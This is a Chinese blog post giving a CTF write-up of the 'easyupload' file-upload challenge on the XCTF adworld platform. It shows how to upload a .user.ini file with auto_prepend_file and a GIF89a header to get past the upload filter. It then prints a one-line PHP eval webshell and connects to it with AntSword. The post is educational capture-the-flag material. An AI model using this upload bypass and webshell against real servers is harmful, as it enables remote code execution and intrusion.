随笔 - 51  文章 - 0  评论 - 4  阅读 - 19287

CTFer成长记录——CTF之Web专题·攻防世界—easyupload

一、题目链接

https://adworld.xctf.org.cn/challenges/list


二、解法步骤

  这题一道文件上传题,本题考的是利用.user.ini文件的特性,实现任意命令执行。在测试该文件上传是白名单还是黑名单,我们可以随便上传一个文件后缀,只要不通过就是白名单检测。

    .user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
使用方法:
    指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。
    auto_prepend_file=01.gif    //01.gif是你要上传的文件

   所以,我们可以借助.user.ini轻松让所有php文件都自动包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

  于是我们将auto_prepend_file=1.jpg写入一个空的.txt文件中,然后改名改后缀为.user.int,接着将这个文件上传。注意:直接上传是不行的,需要bp抓包,修改请求包中的文件类型,用来绕过白名单检测:注意由于该题会对文件内容进行解析,所以要加上GIF89a这个文件欺骗头,让上传系统误认为我们上传的是图片。

 最后显示上传成功。

然后就上传webshell即可:(上传的是1.jpg名称,要和.user.ini中后的文件名相同)

GIF89a //也需要包含文件欺骗头
<?=eval($_POST['cmd']);?>
//注意这里如果是<?php ?> 格式上传也是不成功的。

  

  最后找到文件路径:xxx.uploads/index.php

  用蚂剑连接即可:

三、总结

  本题的文件上传是新知识,有对.user.ini的利用和一句话木马的格式改写,应当积累下来。  

posted on   MiracleWolf  阅读(1500)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

点击右上角即可分享
微信分享提示